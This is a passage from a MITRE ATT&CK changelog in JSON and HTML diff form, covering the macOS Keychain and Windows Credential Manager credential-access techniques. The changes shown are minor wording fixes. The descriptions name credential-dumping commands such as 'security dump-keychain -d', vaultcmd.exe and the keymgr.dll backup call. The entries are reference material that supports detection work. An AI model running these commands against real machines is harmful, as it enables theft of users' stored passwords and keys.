(or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\\u2019s iCloud service. \\n\\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n\\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \\u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n \\n-Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \\u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  \\n+Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \\u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  \"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to118__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to118__0\"><a href=\"#difflib_chg_to118__top\">t</a></td><td class=\"diff_header\" id=\"from118_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;acquire&nbsp;credentials&nbsp;from&nbsp;Keychain.&nbsp;Keychain&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to118__top\">t</a></td><td class=\"diff_header\" id=\"to118_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;acquire&nbsp;credentials&nbsp;from&nbsp;Keychain.&nbsp;Keychain&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(or&nbsp;Keychain&nbsp;Services)&nbsp;is&nbsp;the&nbsp;macOS&nbsp;credential&nbsp;management&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(or&nbsp;Keychain&nbsp;Services)&nbsp;is&nbsp;the&nbsp;macOS&nbsp;credential&nbsp;management&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;that&nbsp;stores&nbsp;account&nbsp;names,&nbsp;passwords,&nbsp;private&nbsp;keys,&nbsp;cer</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem&nbsp;that&nbsp;stores&nbsp;account&nbsp;names,&nbsp;passwords,&nbsp;private&nbsp;keys,&nbsp;cer</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tificates,&nbsp;sensitive&nbsp;application&nbsp;data,&nbsp;payment&nbsp;data,&nbsp;and&nbsp;sec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tificates,&nbsp;sensitive&nbsp;application&nbsp;data,&nbsp;payment&nbsp;data,&nbsp;and&nbsp;sec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure&nbsp;notes.&nbsp;There&nbsp;are&nbsp;three&nbsp;types&nbsp;of&nbsp;Keychains:&nbsp;Login&nbsp;Keychai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure&nbsp;notes.&nbsp;There&nbsp;are&nbsp;three&nbsp;types&nbsp;of&nbsp;Keychains:&nbsp;Login&nbsp;Keychai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n,&nbsp;System&nbsp;Keychain,&nbsp;and&nbsp;Local&nbsp;Items&nbsp;(iCloud)&nbsp;Keychain.&nbsp;The&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n,&nbsp;System&nbsp;Keychain,&nbsp;and&nbsp;Local&nbsp;Items&nbsp;(iCloud)&nbsp;Keychain.&nbsp;The&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efault&nbsp;Keychain&nbsp;is&nbsp;the&nbsp;Login&nbsp;Keychain,&nbsp;which&nbsp;stores&nbsp;user&nbsp;pas</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efault&nbsp;Keychain&nbsp;is&nbsp;the&nbsp;Login&nbsp;Keychain,&nbsp;which&nbsp;stores&nbsp;user&nbsp;pas</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">swords&nbsp;and&nbsp;information.&nbsp;The&nbsp;System&nbsp;Keychain&nbsp;stores&nbsp;items&nbsp;acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">swords&nbsp;and&nbsp;information.&nbsp;The&nbsp;System&nbsp;Keychain&nbsp;stores&nbsp;items&nbsp;acc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system,&nbsp;such&nbsp;as&nbsp;items&nbsp;shared&nbsp;among&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system,&nbsp;such&nbsp;as&nbsp;items&nbsp;shared&nbsp;among&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;on&nbsp;a&nbsp;host.&nbsp;The&nbsp;Local&nbsp;Items&nbsp;(iCloud)&nbsp;Keychain&nbsp;is&nbsp;used&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;on&nbsp;a&nbsp;host.&nbsp;The&nbsp;Local&nbsp;Items&nbsp;(iCloud)&nbsp;Keychain&nbsp;is&nbsp;used&nbsp;for</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;items&nbsp;synced&nbsp;with&nbsp;Apple\u2019s&nbsp;iCloud&nbsp;service.&nbsp;&nbsp;&nbsp;Keychains&nbsp;can&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;items&nbsp;synced&nbsp;with&nbsp;Apple\u2019s&nbsp;iCloud&nbsp;service.&nbsp;&nbsp;&nbsp;Keychains&nbsp;can&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;viewed&nbsp;and&nbsp;edited&nbsp;through&nbsp;the&nbsp;Keychain&nbsp;Access&nbsp;application&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;viewed&nbsp;and&nbsp;edited&nbsp;through&nbsp;the&nbsp;Keychain&nbsp;Access&nbsp;application&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;using&nbsp;the&nbsp;command-line&nbsp;utility&nbsp;&lt;code&gt;security&lt;/code&gt;.&nbsp;Key</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;using&nbsp;the&nbsp;command-line&nbsp;utility&nbsp;&lt;code&gt;security&lt;/code&gt;.&nbsp;Key</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chain&nbsp;files&nbsp;are&nbsp;located&nbsp;in&nbsp;&lt;code&gt;~/Library/Keychains/&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chain&nbsp;files&nbsp;are&nbsp;located&nbsp;in&nbsp;&lt;code&gt;~/Library/Keychains/&lt;/code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;&lt;code&gt;/Library/Keychains/&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;/Network/Libra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;&lt;code&gt;/Library/Keychains/&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;/Network/Libra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/Keychains/&lt;/code&gt;.(Citation:&nbsp;Keychain&nbsp;Services&nbsp;Apple)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/Keychains/&lt;/code&gt;.(Citation:&nbsp;Keychain&nbsp;Services&nbsp;Apple)(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Keychain&nbsp;Decryption&nbsp;Passware)(Citation:&nbsp;OSX&nbsp;Keychain&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Keychain&nbsp;Decryption&nbsp;Passware)(Citation:&nbsp;OSX&nbsp;Keychain&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Schaumann)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;gather&nbsp;user&nbsp;credentials&nbsp;from&nbsp;Key</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Schaumann)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;gather&nbsp;user&nbsp;credentials&nbsp;from&nbsp;Key</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chain&nbsp;storage/memory.&nbsp;For&nbsp;example,&nbsp;the&nbsp;command&nbsp;&lt;code&gt;securit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chain&nbsp;storage/memory.&nbsp;For&nbsp;example,&nbsp;the&nbsp;command&nbsp;&lt;code&gt;securit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;dump-keychain&nbsp;\u2013d&lt;/code&gt;&nbsp;will&nbsp;dump&nbsp;all&nbsp;Login&nbsp;Keychain&nbsp;crede</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;dump-keychain&nbsp;\u2013d&lt;/code&gt;&nbsp;will&nbsp;dump&nbsp;all&nbsp;Login&nbsp;Keychain&nbsp;crede</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntials&nbsp;from&nbsp;&lt;code&gt;~/Library/Keychains/login.keychain-db&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntials&nbsp;from&nbsp;&lt;code&gt;~/Library/Keychains/login.keychain-db&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;.&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;directly&nbsp;read&nbsp;Login&nbsp;Keychain&nbsp;creden</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;.&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;directly&nbsp;read&nbsp;Login&nbsp;Keychain&nbsp;creden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tials&nbsp;from&nbsp;the&nbsp;&lt;code&gt;~/Library/Keychains/login.keychain&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tials&nbsp;from&nbsp;the&nbsp;&lt;code&gt;~/Library/Keychains/login.keychain&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;file.&nbsp;Both&nbsp;methods&nbsp;require&nbsp;a&nbsp;password,&nbsp;where&nbsp;the&nbsp;default&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;&nbsp;file.&nbsp;Both&nbsp;methods&nbsp;require&nbsp;a&nbsp;password,&nbsp;where&nbsp;the&nbsp;default&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">password&nbsp;for&nbsp;the&nbsp;Login&nbsp;Keychain&nbsp;is&nbsp;the&nbsp;current&nbsp;user\u2019s&nbsp;passwo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">password&nbsp;for&nbsp;the&nbsp;Login&nbsp;Keychain&nbsp;is&nbsp;the&nbsp;current&nbsp;user\u2019s&nbsp;passwo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rd&nbsp;to&nbsp;log<span class=\"diff_chg\">in&nbsp;to&nbsp;the</span>&nbsp;macOS&nbsp;host.(Citation:&nbsp;External&nbsp;to&nbsp;DA,&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rd&nbsp;to&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;to&nbsp;the</span>&nbsp;macOS&nbsp;host.(Citation:&nbsp;External&nbsp;to&nbsp;DA,&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;OS&nbsp;X&nbsp;Way)(Citation:&nbsp;Empire&nbsp;Keychain&nbsp;Decrypt)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;OS&nbsp;X&nbsp;Way)(Citation:&nbsp;Empire&nbsp;Keychain&nbsp;Decrypt)&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0396: Detect Access to macOS Keychain for Credential Theft"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-11-23 15:35:53.793000+00:00",
                    "modified": "2026-11-03 21:41:03.391000+00:00",
                    "name": "Windows Credential Manager",
                    "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1555/004",
                            "external_id": "T1555.004"
                        },
                        {
                            "source_name": "Malwarebytes The Windows Vault",
                            "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
                            "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
                        },
                        {
                            "source_name": "Delpy Mimikatz Crendential Manager",
                            "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
                            "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
                        },
                        {
                            "source_name": "Microsoft Credential Locker",
                            "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
                            "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "Microsoft Credential Manager store",
                            "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
                            "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
                        },
                        {
                            "source_name": "Microsoft CredEnumerate",
                            "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
                        },
                        {
                            "source_name": "passcape Windows Vault",
                            "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
                            "url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Bernaldo Penas Antelo",
                        "Mugdha Peter Bansode",
                        "Uriel Kosayev",
                        "Vadim Khrykov"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:41:03.391000+00:00\", \"old_value\": \"2025-10-24 17:49:26.444000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\\n\\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\\n\\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n\\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n\\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\", \"old_value\": \"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\\n\\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\\n\\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n\\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n\\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\", \"diff\": \"--- \\n+++ \\n@@ -4,7 +4,7 @@\\n \\n Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n \\n-Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n+Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n \\n Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to37__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to37__0\"><a href=\"#difflib_chg_to37__top\">t</a></td><td class=\"diff_header\" id=\"from37_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;acquire&nbsp;credentials&nbsp;from&nbsp;the&nbsp;Windows&nbsp;Credent</td><td class=\"diff_next\"><a href=\"#difflib_chg_to37__top\">t</a></td><td class=\"diff_header\" id=\"to37_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;acquire&nbsp;credentials&nbsp;from&nbsp;the&nbsp;Windows&nbsp;Credent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;Manager.&nbsp;The&nbsp;Credential&nbsp;Manager&nbsp;stores&nbsp;credentials&nbsp;for&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;Manager.&nbsp;The&nbsp;Credential&nbsp;Manager&nbsp;stores&nbsp;credentials&nbsp;for&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igning&nbsp;into&nbsp;websites,&nbsp;applications,&nbsp;and/or&nbsp;devices&nbsp;that&nbsp;requ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">igning&nbsp;into&nbsp;websites,&nbsp;applications,&nbsp;and/or&nbsp;devices&nbsp;that&nbsp;requ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">est&nbsp;authentication&nbsp;through&nbsp;NTLM&nbsp;or&nbsp;Kerberos&nbsp;in&nbsp;Credential&nbsp;Lo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">est&nbsp;authentication&nbsp;through&nbsp;NTLM&nbsp;or&nbsp;Kerberos&nbsp;in&nbsp;Credential&nbsp;Lo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckers&nbsp;(previously&nbsp;known&nbsp;as&nbsp;Windows&nbsp;Vaults).(Citation:&nbsp;Micros</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckers&nbsp;(previously&nbsp;known&nbsp;as&nbsp;Windows&nbsp;Vaults).(Citation:&nbsp;Micros</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;Credential&nbsp;Manager&nbsp;store)(Citation:&nbsp;Microsoft&nbsp;Credential</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;Credential&nbsp;Manager&nbsp;store)(Citation:&nbsp;Microsoft&nbsp;Credential</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Locker)&nbsp;&nbsp;The&nbsp;Windows&nbsp;Credential&nbsp;Manager&nbsp;separates&nbsp;website&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 